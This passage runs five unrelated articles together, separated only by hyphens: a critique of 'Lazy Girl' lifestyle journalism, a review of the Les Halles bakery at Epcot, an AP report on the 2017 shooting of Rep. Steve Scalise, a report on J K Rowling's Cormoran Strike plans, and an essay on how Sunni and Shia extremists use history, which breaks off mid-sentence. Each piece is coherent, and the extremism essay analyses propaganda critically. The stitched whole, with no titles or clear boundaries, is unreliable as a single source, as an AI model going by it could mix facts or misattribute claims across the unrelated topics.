because it’s something no one actually goes looking for; there are no obvious spikes in Google Trends, for instance. But the term has quietly bubbled up into the headlines of service journalism for women over the last few years — here is an early one, the Lazy Girl’s Guide to Felting Rocks — to the point that no slideshow telling you how to live is complete without it. I used to click on every single Lazy Girl article I came across, and I get a lot of lifestyle newsletters. I would never seek this stuff out, but if it appeared in front of me, it was like candy. And this sort of puzzled me because I am not lazy: If anything, I care too much about everything, especially whether I’m doing any given thing the right and best way. Just now I sealed the end of my planner’s bookmark ribbon with nail polish so it would stop fraying. I don’t have everything figured out, by a long shot, but what I have scraped together is the result of trying what at least feels like very, very hard, all of the time. Being together and groomed and presentable in addition to general operation as a human is tiring. The precursor to the Lazy Girl was the Busy Woman, who had to learn to cook, to sew, to manage her life, to survive, to actualize, to elevate herself. Now publications have shifted stance — the salable idea is that something can possibly be easy. If we just flop in the general direction of the task at hand, we could do it. Or, more important, that there is maybe, just maybe, a secret, easier way of doing things that we somehow didn’t know about. In an article titled “7 Lazy Girl Beauty Hacks,” the author points out that toilet-seat covers can be used to blot oil from one’s face, if one takes the time to trim them into “small squares.” In another Lazy Girl’s guide to better skin, the very first tip is to apply SkinCeuticals Phloretin CF, a serum that costs well over $100 per bottle. This one, on “holiday beauty hacks,” holds it together for three list items before suggesting in the fourth that you simply apply eyeliner not once, but twice, in the same perfect straight line. This one tells you that you can pull off pajamas as formalwear if you can simply have the taste and fashion sense of an impeccable stylist. (There is also the occasional attempt at Lazy Girl identity content, which would seem to get the meme’s appeal backward by correctly identifying and listing a bunch of actual lazy behaviors.) These Lazy Girl guides admittedly offer much the same set of lessons women’s publications have been peddling for decades, and they generally follow long-established formulas: Assemble some obvious facts, add a couple genuinely insightful tidbits, lay it all out in an attractive way. The Lazy Girl label gives it an insidious new twist — it purports to offer a way around the rules, but still keeps those rules firmly in place, all with the impossible sheen of effortlessness. As the Hairpin’s 2014 analysis of snackwave showed, even a simple act of apparently carefree cool online can become a kind of performance: One does not simply eat a piece of pizza on the internet; eating a piece of pizza is a defiant action, a rejection of health-food culture. And yet this kind of rebellion perpetuates more norms than it resists — the piece’s authors note that snackwave’s accepted poster-women tend to be thin, pretty, and often white. The whole thing smacks of the “cool girl,” to use Gillian Flynn’s description of conspicuous, attractive female chillness. The allure of the effortless reigns supreme online, where it’s easy to chase each other around in circles about who’s faking and who actually doesn’t give a fuck (see the debate around the You Did Not Eat That Instagram account) and to applaud the occasional admission of a constructed identity. The only real conclusion that falls out of all this mess is that, still, effort is never cool. Lazy Girl speaks to how we’d all like to put forward less effort. But at the same time, to the extent that these articles continue to exist, we will always believe it takes a large amount of effort to be acceptable. The tacit promise of the Lazy Girl is that it’ll be easy to add yet another self-improvement habit to your routine, normalizing the endless list of obligations while implying they should take no effort or time at all. To be a lazier woman is a worthy aspiration: Actual Lazy Girls are heroes. The Lazy Girl meme represents, if anything, the opposite . -The first thing to know about Les Halles Boulangerie & Patisserie, one of two new eateries at Epcot’s France pavilion, is that it is a full service, working bakery. You’ll see, behind the counter, some of the bakers and cast members preparing baguettes and sliding them into the massive ovens. Or maybe torching some creme brulees to be placed in the display cases. What you won’t see is the industrial, state-of-the-art equipment that is part of the newly constructed two-story addition to the pavilion. There are massive mixers, huge cauldrons, and the largest pressure cooker I’ve ever seen. There are proofing ovens, machines that roll out the dough and sophisticated devices that control the temperature of the water that is to be added to the flour and yeast that will become the iconic baguettes of France. Les Halles breadJust before placing the baguettes in the oven, a baker makes small slits in the dough.And yet there are still some things that must be done by hand, such as shaping the dough into long batons of brioche for the sandwiches, as several cast members were doing when I snuck a peek inside the facility recently. I wasn’t allowed to take any photos in the “backstage” kitchen, but I can tell you I was impressed with the extent -- and expense -- that has been taken to produce as authentic a product as possible. It shows in the items that I tasted, none better than the simple baguette I took home with me and enjoyed with some cheese. The outside was hard and crusty and the inside was fresh and fluffy. The brioche that my Dinde B.L.T. was built upon, was softer and fresh tasting. The sandwich had the requisite bacon, lettuce and tomato, but also turkey and aioli. The bread was good, but I think I prefer the crusty baguettes (certain sandwiches are made with certain breads, and as for now there are no provisions for sandwiches by request). I also sampled a number of sweets and pastries, including a creamy and flaky Napoleon; a parfait aux fruits with yogurt mousse and raspberries two eclairs, one chocolate and one vanilla, both wonderful; mousse au chocolat; and a chocolate cake that was impossibly rich. It’s a good thing I don’t have a sweet tooth or I’d be in big trouble with these pastries (emphasis on the big). The menu also includes two soups (lobster bisque or pumpkin currently), croque monsieur (no croque madame), salads and quiches. But I think my favorite item was the pissaladiere, a pizza-like device with a base of bread similar to focaccia topped with slices of tomatoes, black olives, and a bit of gruyere cheese. It was so fresh and the flavors of the toppings, which included some fresh rosemary, just popped in the mouth. Les Halles is classified as a quick-serve restaurant (available on Disney Dining Plan as quick service/snack credit). Guests line up in a central queue then go either left or right at the counter -- the same items are available and displayed in a mirror configuration in either direction. Once you pay for your purchase, you may carry it to one of the indoor tables, either with chairs or standing at one of the counter-height tables, or if you’re lucky snag one of the few outdoor tables in the courtyard. The indoor dining area is in the space next to the gift shop that guests go through when exiting the pavilion’s movie attraction (how convenient!). Beer and wine are available, and get this: guests will have access to the bakery in the morning before the World Showcase opens for a morning pastry and, if desired, a mimosa. Besides making tasty things for tourists, the boulangerie is now producing the breads that are used at Chefs de France and Monsieur Paul, the other new restaurant at the France pavilion that replaced Bistro de Paris last month. (Read my review of Monsieur Paul here.) Les Halles, which of course is named for the district in Paris known for its shops and eateries, is open for breakfast, lunch and dinner daily. Prices range from $3.50 for a mini baguette with bacon and herbs to $9.25 for the assorted cheese plate. The baguettes are placed by hand into the oven. For larger loads, the oven has a big conveyor belt attached to it that rolls the loaves inside. As soon as the oven door is closed, steam encircles the dough and it immediately begins to rise. Stuffed sandwiches on display. The iconic Croque Monsieur sandwiches, in front, and the equally famous quiche just behind. Two blow torches are used to get the crispy burnt crust on the creme brulee. {jcomments on} -Gunman wounds GOP congressman, then killed by police Copyright by WIVB - All rights reserved (Rep. Steve Scalise) [ + - ] Video The Associated Press - ALEXANDRIA, Va. (AP) — A rifle-wielding attacker opened fire on Republican lawmakers at a congressional baseball practice Wednesday, wounding House GOP Whip Steve Scalise of Louisiana and several others as congressmen and aides dove for cover. The assailant, prepared with "a lot of ammo," fought a gun battle with police before he, too, was shot and later died. Scalise dragged himself off the infield leaving a trail of blood as colleagues rushed to his assistance. Capitol Police officers who were in Scalise's security detail wounded the shooter, who was taken into custody. In all, five people were taken to area hospitals, including the suspect, Alexandria police said. The shooter later died of his injuries, President Donald Trump told the nation from the White House. "Everyone on that field is a public servant," Trump said. "Their sacrifice makes democracy possible." Scalise, 51, the No. 3 House Republican leader first elected to the House in 2008, was in stable condition and undergoing surgery. Copyright by WIVB - All rights reserved (Rep. Steve Scalise) A government official identified the shooter as an Illinois man named James. T. Hodgkinson. The official was not authorized to discuss an investigation by name and spoke on condition of anonymity. Copyright by WIVB - All rights reserved Texas Rep. Roger Williams, who coaches the GOP team, said that one of his aides, Zack Barth, was shot, but "is doing well and is expected to make a full recovery." Rep. Jeff Duncan of South Carolina said he had just left the practice and encountered the apparent gunman in the parking lot before the shooting. The man calmly asked which party's lawmakers were practicing and Duncan told him they were the Republicans. The man thanked him. The gunman had a rifle and "a lot of ammo," said Sen. Jeff Flake of Arizona, who was at the practice. The shocking event left the Capitol horrified and stunned. The House canceled proceedings for the day. The shooting occurred at a popular park and baseball complex in Alexandria, Virginia, where Republican lawmakers and others were gathered for a morning practice about 7 a.m. They were in good spirits despite the heat and humidity as they prepared for the congressional baseball match that pits Republicans against Democrats. The popular annual face-off, which raises money for charity, was scheduled for Thursday evening at Nationals Park across the Potomac River in Washington. The team was taking batting practice when gunshots rang out and chaos erupted. Scalise was fielding balls on second base when he was shot, according to lawmakers present, then dragged himself into the outfield to get away from the gunman. Rep. Mo Brooks, an Alabama Republican, said his colleague "crawled into the outfield, leaving a trail of blood." "We started giving him the liquids, I put pressure on his wound in his hip," Brooks said. Texas Rep. Joe Barton, still in his baseball uniform, told reporters a shooter came out to the practice and opened fire, shooting at Rep. Trent Kelly, R-Miss., who plays third base. "He shot at Steve Scalise, our second baseman. He hit Steve Scalise," Barton said, "Scalise's security detail and the Capitol Hill police immediately returned fire, and Alexandria Police also immediately came and began to return fire. They shot the shooter. The security detail saved a lot of lives because they attacked the shooter." Barton said the shooting lasted 5-10 minutes, and there were dozens if not hundreds of shots fired. "It was scary," Barton said. Lawmakers took cover in the dugout. Barton said his son, Jack, got under an SUV. FBI special agent in charge Tim Slater said it was "too early to say" whether it was an act of terrorism, or whether Scalise was targeted. After the gunfire stopped, Sen. Flake, of Arizona, said he ran onto the field and also tried to come to Scalise's aide. After medical personnel arrived, he said he retrieved Scalise's phone and made the first call to Scalise's wife to notify her of the shooting. He said he did so to ensure that Mrs. Scalise would not find out about the shooting through the media. Flake estimated that more than 50 shots were fired. Scalise, a popular and gregarious lawmaker, is known for his love of baseball and handed out commemorative baseball bats to fellow lawmakers when he secured the No. 3 job of House whip several years ago. Falisa Peoples was just leaving the YMCA next to the ball field when she saw the shooter open fire. "He was just very calm. He was just walking and shooting," she said of the man, whom she described as white and wearing a T-shirt and shorts. She said he was using a long gun and exchanging fire with law enforcement officers, one of whom yelled for her to get down. In a brief interview in a Senate hallway, Senate Majority Leader Mitch McConnell said, "I think everybody handled it well and things seem to be under control." Other lawmakers were stunned in the aftermath of the event, which raised questions about the security of members of Congress. While the top lawmakers, including Scalise, have security details, others do not and regularly appear in public without protection. The last time a lawmaker was shot was when Democratic Rep. Gabby Giffords of Arizona was hit in the head and grievously injured while meeting with constituents at a supermarket parking lot in 2011. Following the Giffords shooting, lawmakers have held fewer open town halls and have been advised to increase security at such events. Thinking of my colleague Steve Scalise & the others injured in this horrific shooting. Grateful for the work of Capitol Police. — Louise Slaughter (@louiseslaughter) June 14, 2017 Thank you to the @CapitolPolice and the work they do everyday to keep us safe — Rep. Chris Collins (@RepChrisCollins) June 14, 2017 Saddened by news of the shooting in VA this am. Thoughts & prayers for Rep @SteveScalise & others injured & hope for a speedy recovery. — Chuck Schumer (@SenSchumer) June 14, 2017 -Novelist J K Rowling has confirmed she plans "not seven, more" Robert Galbraith novels. Speaking at the Theakstons Old Peculier Crime Writing Festival in Harrogate on Friday night (18th July), in conversation with Val McDermid, the author drew applause from the audience when she confirmed there was an "open-ended" series planned. "I love writing these books. One of the things I love about this genre is that - unlike Harry [the Harry Potter series] where there is an overarching story, here you are talking about discrete stories. So as long as your detective lives you can give him cases." She added that she knew "a lot" about her private eye Cormoran Strike and where he was going, as well as his assistant Robin. The Harrogate event is J K Rowling's one and only UK event to promote her new Cormoran Strike novel, The Silkworm (Little, Brown), and in keeping with her Robert Galbraith pseudonymn, Rowling wore a suit and tie to play the part. Her appearance was carefully controlled, with no photographs allowed in the auditorium, and questions from the audience vetted in advance and delivered via McDermid, with whom Rowling shares a publisher. The author said it was a "no brainer" for her to write crime novels, describing the Harry Potter novels as "six whodunits and one whydunit" - and admitting her "dirty secret" - that she never reads fantasy. She revealed a love for "golden age" crime - Margery Allingham, Ngaio Marsh, Agatha Christie and Dorothy Sayers, although not Sayers' detective Lord Peter Wimsey - as well as her admiration for Val McDermid herself, Mark Billingham, Ruth Rendell and P D James. Rowling described the plot of The Silkworm as "probably the most complex plot I've ever written", saying she had the idea for it ahead of the idea for The Cuckoo's Calling, but had decided to keep it for the second novel in order to introduce her series character in the context of a less dense plot. The third novel, which she is a third of the way through, will be "quite different" - "You find out quite a bit more about what happens to people after they leave the military," she said, adding that she had had "a lot of information" on the subject from people who prefer to remain anonymous. Rowling also talked of her lead character, Cormoran Strike, whose first name is the Cornish for giant, and whose surname, she revealed, she came across by accident, the surname of the author of a book on Cornwall she happened across, immediately recognising it as right. One of the reasons she had made her lead character a war veteran with an amputated leg was that the reality of living with a disability was something close to her heart, she said. "My mother lived with multiple sclerosis, and was latterly disabled - in a wheelchair - and that's day in, day out. We see a vast number of people returning to this country [from war] with disabilities - although the paralympics are marvellous, there is another side. Once you get off the podium you are still dealing with it. It's a pain in the arse. I certainly remember from my mother's experience that when a lift breaks down, for you it's an inconvenience, for someone with a disability... [it's much more]." Meanwhile she "loved" the character of Robin, she revealed. "I think Robin is the most entirely loveable character I've ever written. A good person but likeable - a smart woman, a kind and loyal person." On the subject of why she had chosen a pseudonymn and first published The Cuckoo's Calling with no clue as to her true identity, Rowling said: "I wanted to prove to myself I could get a book published on the merits of the book. A friend said, 'Why do you need that validation?' You probably have to be a writer to understand it... I wanted something that was just for me. While it lasted it was a lot of fun." She revealed that she was "jumping up and squeaking for joy" when McDermid's very favourable review of the book was published, and that she even wrote a thank-you letter to McDermid in the persona of Robert Galbraith. Rowling, who is currently also working on the script for the film of "Fantastic Beasts and Where to Find Them", also hinted at other literary plans, saying: "There are a couple of other things I want to do...mostly novels. There are so many novels I want to write." -Religious extremists in the Middle East, both Sunni and Shia, wield historical precedence to inform and legitimize their actions and strategies. It is one of the most powerful tools in their polemical arsenal, one that can successfully mobilize young men to action and, when necessary, explain away their temporary setbacks. This propaganda works because it stands on a firm, pre-existing foundation of how history is remembered by those they seek to recruit. Yet Islamic history provides an opportunity for pushback against extremism. Surprisingly, even with an abundance of tools at our disposal, the extremist version of history goes largely unchallenged. A decade ago, I was zipping around the mountains of the Syrian coast pretending to look at castles. Castles big and small, some well preserved, others crumbling, once Crusader, then Assassin, at other times Arab. Castles that have changed many hands over the course of time, and some of which have found new strategic value in the current Syrian civil war. But what I was really doing was stealing a visit here and there to the Alawite shrines that dot the high ground across the mountain range. I was motivated by sheer curiosity. There was a five hundred year gap in the story of the Alawites, a secretive and schismatic Shia sect, who went on to capture absolute power in the 1970s. Five hundred years that somehow went missing from the historical record. The saints and holy men who led their communities during those five centuries are still venerated at those idyllic shrines, lit with candles, incense and prayers—where strangers to the sect, such as myself, are suspect and unwelcome. I just wanted to map out who was buried where and when, hoping to gain some insight into that historical gap. At one point, while driving through a pine forest up to the castle of Abu Qubeis, I spotted a bush laden with caper berries by the side of the road. An opportunity for pickling, I thought. I hadn’t noticed the old man across the sparsely-travelled road, sitting among the trees by a mountain stream. He was the proprietor of an outdoor coffee shop, blessed with gorgeous views and shade, albeit with no customers (at the time) and a few chairs strewn about. He beckoned me over, curious as to what this stranger was doing on that quiet afternoon. A conversation that began with pickling techniques veered somewhat rapidly into how much that old man hated Sunnis. Having conversations about history, politics, sectarian identity and, really anything, to do with current events can lead to many security complications for a curious wanderer in Asad-ruled Syria. I was hesitant but the old fellow wanted to get a lot off his chest. I also felt somewhat safe since he seemed to believe that President Hafez al-Asad, who had died seven years prior to our encounter, was still alive and well. This old man would be an unlikely informant for the secret police, I thought. His most memorable line was “those who hated your grandfather are unlikely to be kind to you. I am an Alawite and I spit on anyone who has the slightest problem with that.” His gripe with the Sunnis extended from what he had seen during their uprising in the early 1980s, when “they killed the flower of the Alawite community” to hundreds of years back when they hounded his ancestors out of the cities and plains of Syria into their mountain redoubts. He also drew a line from the past into the future: “If they come at us again, President Hafez will smash them again. And in the worst case scenario, if we lose the rest of Syria, then we will fight them on this mountain, and go our separate ways, as we did before.” This was said to me in the summer of 2007. The stirrings of the Syrian civil war were still five years away. The old man was short on short-term memory, but history gave him the long view into the past, and into the future. A view that was at once cautionary about what to expect, and instructive as to what should be done. The use of history in constructing the narratives of identity, of common origins, of a shared experience, and of a soon-to-be fulfilled purpose is not new or unique. Sects, religions, ethnicities, tribes, political ideologies, and other corporate bodies borrow heavily from history to frame their trajectories, to propagate, and to undergird their authenticity. In this sense, history confers legitimacy and infers destiny. There are many examples to cite from the twentieth century as various ideologies and regimes in the Middle East constructed new identities for themselves. Arab nationalism borrowed from the might and vitality of the Arab conquests of the region in the 7th century to highlight the redeeming possibilities of an Arab awakening after a centuries long slumber at the margins of empire. The Turks remembered their own distinct story, departing from Central Asia and swarming over vast territories and leaving newfound empires in their wake, even breaking into Europe and reigning supreme over large tracts of that continent. The Shah of Iran resurrected the pomp and splendor of ancient Persia to lend regality and majesty to his reign. In the same vein, what is Zionism if not an archival land deed, remembered, dusted-off, and yearned for as one laments what was lost? In Iraq, Saddam Hussein not only rode the heady visions of Arab glory but specifically called the Iran-Iraq War the ‘Second Qadisiyya’ in reference to the first battle of its name where the Arabs delivered a mortal blow to the Sassanid Persians and evicted them from the land of Mesopotamia (636 AD). Saddam went back further into the annals of that land to refashion himself as a latter-day avatar of King Nebuchadnezzar’s, he of Biblical fame, ruling from the land of Babylon and projecting expansionist designs, while breaking the spirit of the Jews in the process. Much like Nebuchadnezzar, Saddam rebuilt the ruined city of Babylon—committing archeological and cultural desecration by doing so—and inserted his name into the brickwork, laid thousands of years ago, by Jewish captives taken into slavery. History not only enables those who cite it to define themselves, but to define their enemies as well. They can connect the dots between historical episodes to extrapolate conspiracy: the ‘enemy’ has always been the enemy because that is who he is. That was how that old Alawite man understood the enmity of Sunnis. Saddam was demonstrating that the Arab-Persian rivalry was as old as time, and that the Jews, empowered as they are in the modern era by the rebirth of Israel, have always been a nuisance; one that previous (and present) kings of Mesopotamia were destined to deal with. Yet the extremists of the Middle East today, both Sunni and Shia, are employing history differently, in a way that is not only reactive and descriptive, but rather prescriptive. They use it in a way that is both specific and strategic to instruct policy. That history is “readily intelligible to both educated and uneducated Muslims,” as Bernard Lewis, the British-American historian who boasts the distinction of being the first to articulate the challenge of radical Islamism for the West, put it in his book The Crisis of Islam (2003). “It offers a set of themes, slogans, and symbols that are profoundly familiar and therefore effective in mobilizing support and in formulating both a critique of what is wrong and a program for putting it right,” he adds. Remembering the past is not a tool of mere inspiration or for marking enemies when utilized by the extremists, the past is their blueprint for resetting history back to a time they could take pride in. It is analytically useful to understand the Islamic State as it understands itself. As far as they are concerned, their story did not begin with the proclamation of the resurrected caliphate in September June 2014, nor its predecessor the Islamic State in Iraq and Syria (ISIS). Theirs is a ten-year venture that began during October 2006, when they put the world on notice with their announcement of the Islamic State of Iraq. The jihadists, back then, understood the implications, and the hazards of what they were about to do. They knew that it would focus the hostility not only of their apparent enemies, such as the United States and the Shia, but also that of their ideological cousins, the other jihadist groups orbiting the Salafist constellation. The jihadists of the nascent Islamic State anticipated the refrain of rejection and hesitation: this is too bold, too grand, too soon. Their ideological cousins would immediately recognize that this is indeed the caliphate, attempted. An attempt fraught with ideological peril and uncertainty, even though it is the end-goal of many Salafists. It would sow dissent and acrimony at a time when all groups should be singularly focused on the goal of waging jihad against the West and the internal enemies lurking within Islamic lands. But the ‘trailblazers’ of the new caliphate had ready and—as far as they are concerned—convincing answers, for they were standing firmly on historical precedent, harking back to the time of early Islam. As such, they were not trailblazers at all, but were simply rediscovering a trail first embarked upon by Muhammed, the prophet, the actual trailblazer of the faith. The Islamic State published a book in January 2007 titled ‘Informing the People About the Birth of the State of Islam.’ They sought to preempt the debate about timing and method. Their polemical coup de grâce was to cite the state-building venture of Muhammad at Medina. Muhammed did not wait around for the conditions to turn optimal in Mecca. His calling compelled him to strike out boldly, against incredible odds. He left his native city and found refuge among the Medinan ‘youths’ who had pledged themselves to his prophecy. His was a precarious venture, at once tenuous, and due for a number of setbacks. Muhammad did not reign supreme as he began to wield authority and manage the day-to-day affairs of his flock. He had to contend with a mixed city that boasted, for example, confident, armed and well-positioned Jewish tribes, that were not about to part with their faith for his. He had to wage war against his Meccan detractors, or consequently suffer their counter-attacks. Yet even in the bleakest of times, the jihadists remind us, Muhammad foresaw that what he was setting out to build in Medina would subjugate the mighty and nearby empires of Byzantium and Persia. These visions did not strike the true believers around him as loony, even during the darkest of times, so why would the detractors of the Islamic State in the twenty first century counsel against going too big, too soon? The territory they believed to be controlling in 2006 in Iraq was magnitudes larger than Muhammed’s tiny toehold. Conditions then did not deter him, they why should they do so nowadays? In fact, they argued, there were many similarities between what he faced and what was happening in Iraq. If only the jihadists would follow his example, and enact his steps by going back to the basics, then the jihad would recapture the path back towards redemption and righting what went wrong. The motif of going back to the basics has a rich tradition in Islamic dogma, and thus the method and argumentation of the modern jihadists would not strike their ideological cousins, or the audience at large, as contrived. The medieval Syrian jurist, Ibn Taymiyya, writing at a time of Muslim decline following the Mongol invasions and the sacking of Baghdad, also argued for revisiting the early days of Islam to recapture the vitality of the faith. He inspired many later movements, most notably, in the eighteenth century, the Wahhabis of the Arabian Peninsula, who put his theories into practice to much martial success over successive attempts spanning three centuries. The vast majority of today’s Salafists draw inspiration from Ibn Taymiyya and the creeds he launched. The very meaning of the Arabic word ‘salaf’ connotes that community of early Islam, when it was pure, pristine and powerful, or so they believe. It also helps that Wahhabism eventually became the credo of modern, deep-pocketed Saudi Arabia. ‘Going back to the basics’ is a well-funded and widely propagated idea. The jihadists of the Islamic State were merely stretching it further. And further they did. Resurrecting a caliphate implies the necessity of picking a caliph, which is no easy thing. Theoretically, at least, he (and of course he would have to be a ‘he’) would be both the spiritual and temporal leader of the world’s billion or so Sunni Muslims. That alone would seem daunting. It does not help that historical precedence on this topic is itself problematic. The Salafists, and many more Sunnis, believe that only the first four successors to Muhammad, the caliphs, can be counted as ‘righteously guided’. Yet history tells us that the process of picking those four turned out to be politically acrimonious. Three of the four met their demise through murder or assassination. The fluidity and messiness of the politics over the course of those three crucial decades many centuries ago later solidified into sectarian antipathy, giving us modern-day Shi’ism and Sunnism. That, however, did not deter medieval theorists or modern jihadists from formulating a mechanism to pick a caliph based on the four test cases that followed Muhammad’s death. The historical record is elastic by its very nature, and polemicists can stretch it out to fit current circumstances, rendering history books into recipe books. Not all the ingredients may be available, but the recipe can still be followed, albeit with some tweaking and minor substitutions, to arrive at a formula that works. Such was the formula the Islamic State leveraged as it announced its proto-caliph, Abu Omar al-Baghdadi, the predecessor to ISIS’s Abu Bakr al-Baghdadi, ten years ago. Problem solved. Any questions? Kindly refer to early Islamic history, the jihadists would say. They would say that because it works as a winning argument with their target audience: the Sunni populations of the Middle East that are to be incorporated into their caliphate in the first phase of its rebirth. By citing historical precedent to legitimize their actions, the jihadists enjoy standing on firm foundations. For the remembered and popularized past, such as Muhammad’s story in Medina, is present and mentally available for most of this audience, received as it were through curricula, the Friday sermon, and mass media. The founding father of the particular strain of jihadism that gave us the Islamic State did not have to try very hard to stoke the fires of sectarianism in Iraq, for example. When the world watched Iraqis cheering on American soldiers pulling down Saddam’s statue off its pedestal in downtown Baghdad, Abu Musaab al-Zarqawi saw opportunity. He would frame his war as a fight against the Shias, who were now acting as the enablers of the Americans, a foreign non-Muslim army that had just occupied a gloried Sunni and caliphal capital, one that was specifically established to manage the sprawling Islamic empire. Zarqawi would employ sectarianism as the fast burning fuel necessary for mobilizing support for an even more ambitious enterprise, resurrecting the Islamic State. He was aided in doing so by a hate-speech campaign against the Shia that had primed his target audience to receive what he was about to advocate: the “total annihilation” of the Shia. Sectarian hate speech has been around for centuries, but it was mass propagated two decades prior to the Iraq War on the occasion of the Islamic Revolution in Iran, led by the Shia cleric Ayatollah Ruhullah Khomeini in 1979. Those threatened by Khomeini’s revolutionary appeal, such as Saddam Hussein or the Saudis, felt compelled at the time to inoculate their populations against faith-inspired revolution by suggesting that Shi’ism itself was a grand conspiracy against Islam. Lots of money was marshalled by Iran’s enemies to saturate the airwaves, fill out library shelves, and lend wide currency to Shia perfidy. The result was that in many parts of the Sunni Arab Middle East, one would find many nodding heads, in 2003, when reminded that Shi’ism was ‘invented’ by a devious Jew-turned-Muslim called Ibn Saba in the early days following Muhammad’s death. European anti-Semitism (once re-propagated during the heyday of Arab Nationalism in the 1950s and 1960s) fused with the Islamic historical record to brand the Shias as the ‘internal Jews’. In the late nineties, one could find a book—an Arabic language forgery based thematically on an earlier Russian forgery—with the curious title of ‘The Protocols of the Elders of Qum’, on display in Amman and Cairo, purporting to be the secret plans of the Shia to take-over the region, a plan hatched in the religious seminaries of the Iranian city of Qum. Consequently, Zarqawi could turn to Islamic history and find a poster boy for Shia treachery that would neatly fit the scenes of 2003. Actually, he would riff off a data point that Saddam had highlighted in his first letter following his ouster: For, prior to the last time Baghdad was dramatically sacked by a great power, the Mongols, in 1258, the day-to-day affairs of the once mighty Sunni Abbasid empire had been left in the hands of a Shia, the Grand Vizier Ibn al-Alqami. That was quite progressive of the Abbasids to put a minority candidate in charge, but that is not what Saddam and Zarqawi would like remembered from that episode. Their case was that Ibn al-Alqami conspired to weaken the defenses of the empire and to hand over Baghdad on a silver platter to the heathen enemy, much like the Shia of Iraq were doing nowadays, whom Zarqawi termed “the grandchildren of Ibn al-Alqami.” It is a neat and succinct narrative that organically grows out of a pre-existing anti-Shia narrative. Zarqawi leveraged the drama of history to explain the present, and it enabled him to suggest a solution, a final solution. There can be no moving forwards towards resurrecting the Islamic State until the Shia are dealt with, once and for all. Cue: civil war. Yet pedantically citing historical instances as a propaganda tool is not enough. For it to truly resonate it must be dramatized. The drama of current events must match the drama of history. The actors of today must mimic and project the greatness of those individuals they cite from the early Islamic community. One literary minded jihadist authored a play depicting a late night conversation between the last Abbasid caliph and Ibn al-Alqami before the Mongol invasion. The ‘ghost of history’ lurks about, cast as the third protagonist on the scene. The drama seems to suggest that if only a jihadist of Zarqawi’s cut had been present, then he could have warned the caliph of what was coming, and could have exposed Ibn al-Alqami’s plot. The jihadists dramatically recall the parts of history they would like remembered, while simultaneously erasing, to much fanfare, the parts they would like forgotten. Maybe that explains their fixation with leveling the monuments of ancient Assyria and Palmyra, and capturing it all on YouTube. The glories and very presence of pre-Islamic civilizations crowds out their absolutist messaging, and even in this they can cite precedence: Did Muhammad not personally destroy the pagan idols of Mecca upon his victory? There can be only one version of history, theirs. The jihadist proto-caliph, Abu Omar al-Baghdadi, relished playing the role of caliph. He had a flair for spectacle, showcasing his craft over the course of many audio speeches. In March 2007 Abu Omar went ahead and announced that he is annulling the ‘Pact of Omar’—a purported document codifying the discriminatory rules against Christians enacted by its namesake, the second caliph of Islam, one of the ‘Righteously Guided’ ones, in the 7th century. Consider the audacity that a wannabe caliph in the twenty first century can determine that a 1,400 year-old pact no longer applies, since the modern-day Christians have broken the rules, and that it time for the Christians to renegotiate the pact with him, the legal guardian of the Islamic faith. When brandishing such confidence and gall, when claiming to be on par with a ‘proper’ caliph from lore, can a layperson listening to the speech be truly faulted for being swayed by such a display of certitude? In projecting historical drama, the jihadists know their audience. Actually, it is not that difficult to figure out what they are working with, and how they are purposely manipulating it. I know it by my own example: when I leaf through stodgy, scholarly books on early Islam, I catch myself visualizing what I am reading as scenes from a particular movie, The Message (1976). My mental image of what the buildings looked like, the colors, how people dressed, the background noises, and even the haircuts that early Muslims sported derive from it. Growing up in the Middle East, I must have seen this movie some twenty times, for the simple fact that it would reliably get aired at every Islamic occasion dotting the calendar, whether it be Eid, or Ramadhan, or Muhammad’s birthday. It was an epic and compelling production: a Syrian director, Libyan money, two separate versions in Arabic and in English, with the later starring Anthony Quinn and Irene Papas. The score was exhilarating—its composer Maurice Jarre was nominated for an Academy Award but lost to Star Wars that year. The grand tales of early Islam that we had to read in schoolbooks came vividly alive on the screen. Eyes would widen as the warrior hero Hamza, Muhammad’s uncle, stole every scene. The movie had a big impact across Muslim lands and beyond: it was cited as one of the grievances behind the first act of Islamic terror in Washington DC, when a Nation of Islam off-shoot occupied three buildings in the capital in 1977, leaving two dead. They deemed the movie sacrilegious and were incensed that it was due to premiere on U.S. soil. Salafists were never enthusiastic about it, sensing that it portrayed early Islam in a manner that was sympathetic to the Shia version of history. They also have other issues to nitpick; one Salafist told me years ago that depicting the early Muslims as the movie did in all white garb is illogical since they would not have self-identified by their dress color, for example. Chillingly, the Syrian director was killed in November 2005 from injuries sustained after a suicide bomber, dispatched by Zarqawi’s organization, had detonated his explosive vest in the lobby of the Grand Hyatt Hotel in Amman. The movie, although controversial, was eminently influential in how dramatized history reached great numbers of Muslims in countries such as Iraq and Syria. The jihadists don’t seem to have any qualms of using that imagery to their advantage, despite the nitpicking of their ideological cousins. In fact, they seem to borrow heavily from it. Take the flag of the Islamic State, for example. It is so omnipresent now that even the 2016 Eurovision Contest had to make it officially clear that it is banned along with such as flags as those of the Basques Country and Northern Cyprus. The jihadists claim that this is the banner of Muhammad, under which the conquering armies of Islam brought the high and mighty empires of their day to their knees. It certainly looks authentic, with its archaic font and old-timey seal. It looks as if it would be something that the art department of The Message would have come up with as background ‘color’. Consider the jihadist victory parade into Mosul. Their convoys of trucks and tanks were preceded by a number of warriors on horseback. Their dress, and their manner of riding, evokes scenes from the aforementioned movie, as Muhammad returned to Mecca, a conqueror. Or let us take that sole televised speech of the current caliph, Abu Bakr, on the occasion of proclamation of the caliphate. There is something about the way he slowly ascends the pulpit in the main mosque of Mosul, how he turns to face the worshippers, how he speaks, what he is wearing (save for the watch), his stern yet contemplative mannerisms—it all seems very familiar. It seem so because modern media in the Middle East, whether through movies or television series, have depicted early Islam as such. Clearly, the jihadists have latched on to a pre-existing stage-set to amplify their messaging. In another speech by that first, audacious caliph, delivered on the occasion of President Barack Obama being elected president in November 2008, Abu Omar al-Baghdadi addresses “the new rulers of the White House” by using the same words and tone that Muhammad had used in letters allegedly dispatched by the prophet to the emperors of Byzantium and Persia. Again, the jihadists seem to be purposely evoking memorable scenes from The Message when these letters were read out at the imperial courts of the Middle East that a new religion, Islam, has emerged in Arabia. The movie ends by portraying Islam’s resounding victory over paganism at the moment when Muhammad brings down the statuesque idols within the Kaaba. The jihadists knew exactly what they were doing as they filmed themselves smashing and hacking away at the statues of prior civilizations down the corridors of the Museum of Mosul. In recent years, some Shias have developed an extremist credo of their own, one that also borrows from history to enact present policy, chiefly that of revenge and secession as statecraft. This credo is driving events towards conflagration across the region in tandem with the jihadist agenda. It is important to understand the cyclical nature of extremism today in the Middle East: one cannot focus solely on the challenge posed by the policies and propaganda of the jihadists of the Islamic State, for Sunni and Shia extremists feed into each other. It is a toxic loop, which perpetually rationalizes why they need to go to extremes. The Shias may blame Zarqawi 